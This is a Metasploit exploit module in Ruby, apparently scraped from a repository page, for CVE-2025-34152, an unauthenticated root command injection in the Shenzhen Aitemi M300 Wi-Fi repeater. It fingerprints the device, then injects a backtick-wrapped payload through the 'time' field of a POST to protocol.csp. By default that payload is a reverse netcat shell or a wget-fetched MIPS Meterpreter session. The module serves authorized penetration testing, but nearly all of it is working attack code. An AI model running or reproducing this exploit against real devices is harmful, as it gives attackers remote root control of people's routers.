Path: blob/master/modules/exploits/linux/http/aitemi_m300_time_rce.rb
33119 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'digest'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpClient11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',18'Description' => %q{19This module exploits an unauthenticated remote command injection vulnerability20in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability21lies in the 'time' parameter of the time configuration endpoint, which is passed22unsanitized to a shell command executed via the `date -s` mechanism. The injection23executes with root privileges, without requiring authentication, reboot, or24network reconfiguration.25},26'Author' => [27'Valentin Lobstein' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],32['CVE', '2025-34152']33],34'Platform' => %w[linux unix],35'Payload' => {36'BadChars' => "\x60"37},38'Targets' => [39[40'Unix Command',41{42'Platform' => 'unix',43'Arch' => ARCH_CMD,44'DefaultOptions' => {45'PAYLOAD' => 'cmd/unix/reverse_netcat'46}47}48],49[50'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',51{52'Platform' => 'linux',53'Arch' => [ARCH_CMD, ARCH_MIPSBE],54'DefaultOptions' => {55'FETCH_DELETE' => true,56'FETCH_COMMAND' => 'WGET',57'FETCH_WRITABLE_DIR' => '/tmp',58'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'59}60}61]62],63'DefaultTarget' => 0,64'Privileged' => true,65'DisclosureDate' => '2025-08-07',66'Notes' => {67'Stability' => [CRASH_SERVICE_DOWN],68'Reliability' => [REPEATABLE_SESSION],69'SideEffects' => [IOC_IN_LOGS]70}71)72)73end7475def check76fingerprint_hits = []7778res = send_request_cgi(79'method' => 'GET',80'uri' => normalize_uri(target_uri.path, 'favicon.ico')81)8283return CheckCode::Unknown('No response from target') unless res84return CheckCode::Safe('favicon.ico not found') unless res.code == 2008586hash = Digest::SHA256.hexdigest(res.body)87if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'88print_good('Favicon hash matched – likely Aitemi M300 device')89fingerprint_hits << 'favicon'90end9192server_header = res.headers['Server']93if server_header&.start_with?('lighttpd/1.4.32')94print_good("HTTP server version matched: #{server_header}")95fingerprint_hits << 'httpd'96end9798%w[index.html home.html].each do |page|99res_html = send_request_cgi(100'method' => 'GET',101'uri' => normalize_uri(target_uri.path, page)102)103104next unless res_html&.code == 200105106if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')107print_good("HTML fingerprint matched in #{page} – UI strings detected")108return CheckCode::Appears('HTML language markers confirmed')109end110end111112if fingerprint_hits.any?113return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")114end115116CheckCode::Unknown('No identifiable fingerprint found')117end118119def exploit120raw_payload = "`#{payload.encoded}`"121encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')122123send_request_cgi(124'method' => 'POST',125'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),126'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',127'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"128)129end130end131132133